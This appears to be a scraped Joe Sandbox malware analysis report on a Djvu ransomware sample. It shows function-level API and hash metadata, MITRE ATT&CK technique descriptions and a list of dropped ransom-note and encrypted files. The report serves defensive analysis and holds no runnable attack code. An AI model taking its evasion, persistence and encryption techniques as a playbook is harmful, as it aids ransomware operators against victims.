lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006F0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006F0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 9bedb6a4875daed597998ed3f540e95eec51a82ba5ae0fcf6873f5b611974ef0
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 9bedb6a4875daed597998ed3f540e95eec51a82ba5ae0fcf6873f5b611974ef0
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 7df1e10ad76e29fab8b9693ecc8e3a17a06a76cc108172ebea4210ab36e9a770
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 7df1e10ad76e29fab8b9693ecc8e3a17a06a76cc108172ebea4210ab36e9a770
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 16oApcahEa.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\_readme.txt

C:\SystemID\PersonalID.txt

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.irjg (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.irjg (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.irjg (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.irjg (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.irjg (copy)

Windows Analysis Report
16oApcahEa.exe

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre